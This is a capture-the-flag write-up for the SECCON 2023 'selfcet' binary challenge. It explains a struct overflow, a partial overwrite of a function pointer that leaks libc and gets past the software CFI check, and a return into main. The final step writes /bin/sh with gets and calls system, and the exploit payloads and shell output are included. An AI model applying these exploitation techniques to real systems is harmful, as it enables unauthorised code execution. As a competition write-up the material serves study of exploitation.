SECCON CTF 2023 Quals - selfcet
I wrote Software CET because Intel CET is not yet widely available.
nc selfcet.seccon.games 9999
Team: HK Guesser
Attachment: selfcet.tar.gz xpl.py
typedef struct {
char key[KEY_SIZE];
char buf[KEY_SIZE];
const char *error;
int status;
void (*throw)(int, const char*, ...);
} ctx_t;
void read_member(ctx_t *ctx, off_t offset, size_t size) {
if (read(STDIN_FILENO, (void*)ctx + offset, size) <= 0) {
ctx->status = EXIT_FAILURE;
ctx->error = "I/O Error";
}
ctx->buf[strcspn(ctx->buf, "\n")] = '\0';
if (ctx->status != 0)
CFI(ctx->throw)(ctx->status, ctx->error);
}
...
read_member(&ctx, offsetof(ctx_t, key), sizeof(ctx));
read_member(&ctx, offsetof(ctx_t, buf), sizeof(ctx));
selfcet
let you read into key
and buf
of the ctx
object. Since the size for the read
was sizeof(ctx)
, we’re able to also overwrite the data behind it.
The first read let’s you overwrite everything in the ctx
object (since offset
is 0
and size
is sizeof(ctx)
), while the second one also lets you overwrite data behind the ctx
object (since offset
points to buf
object, while size
is still sizeof(ctx)
).
If we’d been able to leak or control the canary
, that could have been used to do a rop chain after the second read_member
.
Didn’t find a way to leak the canary, so I went on with a small bruteforce approach (1 nibble had to be bruteforced for this in the first read).
When we overwrite status
in read_member
, it will call
CFI(ctx->throw)(ctx->status, ctx->error);
Initially ctx->throw
will point to err
in libc
, so this would call err(ctx->status, ctx->error)
, but will pass the function first to the CFI
macro.
#define INSN_ENDBR64 (0xF30F1EFA) /* endbr64 */
#define CFI(f) \
({ \
if (__builtin_bswap32(*(uint32_t*)(f)) != INSN_ENDBR64) \
__builtin_trap(); \
(f); \
})
This will basically just check, that the function, that is called here, begins with an endbr64
, so we cannot use arbitrary rop gadgets here, but have to call matching functions.
To get a leak, I checked which functions are near err
, so that we could call them with a partial overwrite.
(these are local offsets from my debug libc, the exploit uses the correct ones from remote libc)
0x7ffff7eae010 <__GI_warn>: endbr64
0x7ffff7eae014 <__GI_warn+4>: sub rsp,0xd8
0x7ffff7eae01b <__GI_warn+11>: mov QWORD PTR [rsp+0x28],rsi
0x7ffff7eae020 <__GI_warn+16>: mov QWORD PTR [rsp+0x30],rdx
...
0x7ffff7eae1d0 <err>: endbr64
0x7ffff7eae1d4 <err+4>: push rax
0x7ffff7eae1d5 <err+5>: pop rax
0x7ffff7eae1d6 <err+6>: sub rsp,0xd8
0x7ffff7eae1dd <err+13>: mov QWORD PTR [rsp+0x30],rdx
0x7ffff7eae1e2 <err+18>: mov QWORD PTR [rsp+0x38],rcx
So, doing a partial overwrite, only overwriting the last 2 bytes of ctx->throw
would allow us to call warn
instead of err
, which will also do output but not exit
after printing the data.
So, our first payload looks like this
def exploit(r):
payload1 = "\x00"*0x20 # key
payload1 += "C"*0x20 # buf
payload1 += p64(0x404000) # error
payload1 += p64(e.got["read"]) # status
payload1 += p64(0x40d0)[:2] # throw
r.send(payload1)
r.recvuntil("xor: ")
LEAK = u64(r.recv(6).ljust(8, "\x00"))
libc.address = LEAK - libc.symbols["read"]
log.info("LEAK : %s" % hex(LEAK))
log.info("LIBC : %s" % hex(libc.address))
When the partial overwrite succeeds, this will call warn(e.got["read], 0x404000)
, which will just print a warning containing a leak to read.got
.
[*] LEAK : 0x7ffff7ea7980
[*] LIBC : 0x7ffff7d93000
With this leak, we can now call everything from libc
in the second payload (and even overwrite the canary and put a rop chain behind the ctx
object). At that point, I already thought that we’d need to find a way to leak the canary
and do a ropchain, to get around the endbr64
restriction, but didn’t find anything useful for that.
One of the main issues, that we couldn’t do something useful with the remaining payload was, that status
was an int32
, meaning we wouldn’t be able to pass a 64-bit address as first argument (which would be needed, if we would want to call something like system("/bin/sh")
, while using /bin/sh
from libc). Also going for execveat
wasn’t helpful, since we didn’t control rdx
(properly).
If we’d just have one additional call to read /bin/sh
to bss
(which would be accessable via a 32 bit address) before calling system
, this would be easy.
So, let’s just use the second payload to jump back into main!
payload1 = "A"*0x20 # buf
payload1 += p64(0x401209) # error
payload1 += p64(0x4) # status
payload1 += p64(libc.symbols["__libc_start_main"])
r.send(payload1)
This will now call __libc_start_main(main)
, which will just jump back into main
, giving us the possibility to do 2 payloads again.
# back in main at first payload
payload1 = "A"*0x20
payload1 += "C"*0x20
payload1 += p64(0x404500)
payload1 += p64(0x404500)
payload1 += p64(libc.symbols["gets"])
r.send(payload1)
pause()
r.sendline("/bin/sh\x00")
This will call gets(0x404500)
and the next send will write /bin/sh
to 0x405000
. Since we now have our path at an address, that can be referenced via a 32-bit address, we can now just call system(0x404500)
with the second payload.
payload1 = "A"*0x20
payload1 += p64(0x401209)
payload1 += p64(0x404500)
payload1 += p64(libc.symbols["system"])
r.send(payload1)
which will now trigger a shell.
[*] LEAK : 0x7f2c75f47980
[*] LIBC : 0x7f2c75e33000
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] calling main
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ cat flag-eb7297012865f6eede53f56158c52e85.txt
SECCON{b7w_CET_1s_3n4bL3d_by_arch_prctl}
As the flag hints, the intended solution was using prctl
, but well :)